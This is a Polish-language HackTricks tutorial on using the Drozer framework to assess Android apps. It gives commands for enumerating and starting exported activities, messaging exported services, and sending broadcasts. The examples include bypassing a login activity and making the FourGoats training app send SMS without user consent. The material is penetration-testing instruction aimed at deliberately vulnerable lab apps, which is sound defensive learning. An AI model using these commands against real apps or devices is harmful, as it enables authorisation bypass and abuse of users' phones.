Drozer Tutorial
Reading time: 8 minutes
tip
Ucz się i ćwicz Hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure:
Ucz się i ćwicz Hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
APKs do testowania
Części tego samouczka zostały wyciągnięte z dokumentacji Drozer pdf.
Instalacja
Zainstaluj klienta Drozer na swoim hoście. Pobierz go z najnowszych wydań.
pip install drozer-2.4.4-py2-none-any.whl
pip install twisted
pip install service_identity
Pobierz i zainstaluj APK drozer z najnowszych wydań. W tej chwili jest to to.
adb install drozer.apk
Uruchamianie serwera
Agent działa na porcie 31415, musimy przekierować port, aby nawiązać komunikację między klientem Drozer a agentem, oto polecenie, aby to zrobić:
adb forward tcp:31415 tcp:31415
Na koniec, uruchom aplikację i naciśnij przycisk "ON"
.png)
I połącz się z nią:
drozer console connect
Ciekawe Komendy
| Komendy | Opis | 
|---|---|
| Help MODULE | Pokazuje pomoc wybranego modułu | 
| list | Pokazuje listę wszystkich modułów drozer, które można wykonać w bieżącej sesji. Ukrywa moduły, do których nie masz odpowiednich uprawnień. | 
| shell | Uruchamia interaktywną powłokę Linux na urządzeniu, w kontekście Agenta. | 
| clean | Usuwa tymczasowe pliki przechowywane przez drozer na urządzeniu z Androidem. | 
| load | Ładuje plik zawierający polecenia drozer i wykonuje je w kolejności. | 
| module | Znajduje i instaluje dodatkowe moduły drozer z Internetu. | 
| unset | Usuwa nazwaną zmienną, którą drozer przekazuje do wszelkich powłok Linux, które uruchamia. | 
| set | Przechowuje wartość w zmiennej, która zostanie przekazana jako zmienna środowiskowa do wszelkich powłok Linux uruchamianych przez drozer. | 
| shell | Uruchamia interaktywną powłokę Linux na urządzeniu, w kontekście Agenta | 
| run MODULE | Wykonuje moduł drozer | 
| exploit | Drozer może tworzyć exploity do wykonania na urządzeniu. drozer exploit list | 
| payload | Exploity potrzebują ładunku. drozer payload list | 
Pakiet
Znajdź nazwę pakietu filtrując według części nazwy:
dz> run app.package.list -f sieve
com.mwr.example.sieve
Podstawowe informacje o pakiecie:
dz> run app.package.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Process Name: com.mwr.example.sieve
Version: 1.0
Data Directory: /data/data/com.mwr.example.sieve
APK Path: /data/app/com.mwr.example.sieve-2.apk
UID: 10056
GID: [1028, 1015, 3003]
Shared Libraries: null
Shared User ID: null
Uses Permissions:
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- android.permission.INTERNET
Defines Permissions:
- com.mwr.example.sieve.READ_KEYS
- com.mwr.example.sieve.WRITE_KEYS
Przeczytaj Manifest:
run app.package.manifest jakhar.aseem.diva
Powierzchnia ataku pakietu:
dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
3 activities exported
0 broadcast receivers exported
2 content providers exported
2 services exported
is debuggable
- Aktywności: Może możesz uruchomić aktywność i obejść jakiś rodzaj autoryzacji, która powinna uniemożliwić jej uruchomienie.
- Dostawcy treści: Może możesz uzyskać dostęp do prywatnych danych lub wykorzystać jakąś lukę (SQL Injection lub Path Traversal).
- Usługi:
- jest debugowalny: Dowiedz się więcej
Aktywności
Wartość „android:exported” komponentu aktywności eksportowanej jest ustawiona na „true” w pliku AndroidManifest.xml:
<activity android:name="com.my.app.Initial" android:exported="true">
</activity>
Lista eksportowanych aktywności:
dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.FileSelectActivity
com.mwr.example.sieve.MainLoginActivity
com.mwr.example.sieve.PWList
Rozpocznij aktywność:
Możesz spróbować rozpocząć aktywność i obejść pewnego rodzaju autoryzację, która powinna uniemożliwić jej uruchomienie.
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
Możesz również uruchomić wyeksportowaną aktywność z adb:
- PackageName to com.example.demo
- Exported ActivityName to com.example.test.MainActivity
adb shell am start -n com.example.demo/com.example.test.MainActivity
Content Providers
Ten post był zbyt duży, aby tutaj go umieścić, więc możesz uzyskać do niego dostęp na osobnej stronie tutaj.
Services
Eksportowana usługa jest zadeklarowana w pliku Manifest.xml:
<service android:name=".AuthService" android:exported="true" android:process=":remote"/>
W kodzie sprawdź funkcję handleMessage, która odbierze wiadomość:
.png)
Lista usług
dz> run app.service.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.AuthService
Permission: null
com.mwr.example.sieve.CryptoService
Permission: null
Interakcja z usługą
app.service.send            Send a Message to a service, and display the reply
app.service.start           Start Service
app.service.stop            Stop Service
Przykład
Zobacz pomoc drozer dla app.service.send:
.png)
Zauważ, że najpierw wyślesz dane wewnątrz "msg.what", następnie "msg.arg1" i "msg.arg2", powinieneś sprawdzić w kodzie jakie informacje są używane i gdzie.
Używając opcji --extra, możesz wysłać coś interpretowanego przez "msg.replyTo", a używając --bundle-as-obj, tworzysz obiekt z podanymi szczegółami.
W następującym przykładzie:
- what == 2354
- arg1 == 9234
- arg2 == 1
- replyTo == object(string com.mwr.example.sieve.PIN 1337)
run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj
.png)
Odbiorniki Rozgłoszeniowe
W sekcji podstawowych informacji o Androidzie możesz zobaczyć, czym jest Odbiornik Rozgłoszeniowy.
Po odkryciu tych Odbiorników Rozgłoszeniowych powinieneś sprawdzić kod ich. Zwróć szczególną uwagę na funkcję onReceive, ponieważ będzie ona obsługiwać otrzymane wiadomości.
Wykryj wszystkie odbiorniki rozgłoszeniowe
run app.broadcast.info #Detects all
Sprawdź odbiorniki rozgłoszeniowe aplikacji
#Check one negative
run app.broadcast.info -a jakhar.aseem.diva
Package: jakhar.aseem.diva
No matching receivers.
# Check one positive
run app.broadcast.info -a com.google.android.youtube
Package: com.google.android.youtube
com.google.android.libraries.youtube.player.PlayerUiModule$LegacyMediaButtonIntentReceiver
Permission: null
com.google.android.apps.youtube.app.common.notification.GcmBroadcastReceiver
Permission: com.google.android.c2dm.permission.SEND
com.google.android.apps.youtube.app.PackageReplacedReceiver
Permission: null
com.google.android.libraries.youtube.account.AccountsChangedReceiver
Permission: null
com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver
Permission: null
Broadcast Interakcje
app.broadcast.info          Get information about broadcast receivers
app.broadcast.send          Send broadcast using an intent
app.broadcast.sniff         Register a broadcast receiver that can sniff particular intents
Wyślij wiadomość
W tym przykładzie, wykorzystując FourGoats apk Content Provider, możesz wysłać dowolny SMS do dowolnego niepremium miejsca bez pytania użytkownika o pozwolenie.
.png)
.png)
Jeśli przeczytasz kod, parametry "phoneNumber" i "message" muszą być wysłane do Content Provider.
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!"
Czy jest debugowalny
Produkcja APK nigdy nie powinna być debugowalna.
Oznacza to, że możesz przyłączyć debugger java do działającej aplikacji, sprawdzić ją w czasie rzeczywistym, ustawić punkty przerwania, przechodzić krok po kroku, zbierać wartości zmiennych, a nawet je zmieniać. Instytut InfoSec ma doskonały artykuł na temat głębszego badania, gdy twoja aplikacja jest debugowalna i wstrzykiwania kodu w czasie rzeczywistym.
Gdy aplikacja jest debugowalna, pojawi się w Manifeście:
<application theme="@2131296387" debuggable="true"
Możesz znaleźć wszystkie aplikacje z możliwością debugowania za pomocą Drozer:
run app.package.debuggable
Tutorials
- https://resources.infosecinstitute.com/android-penetration-tools-walkthrough-series-drozer/#gref
- https://github.com/mgcfish/mobiletools/blob/master/_posts/2016-08-01-Using-Drozer-for-application-security-assessments.md
- https://www.hackingarticles.in/android-penetration-testing-drozer/
- https://medium.com/@ashrafrizvi3006/how-to-test-android-application-security-using-drozer-edc002c5dcac
More info
tip
Ucz się i ćwicz Hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure:
Ucz się i ćwicz Hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
 HackTricks
HackTricks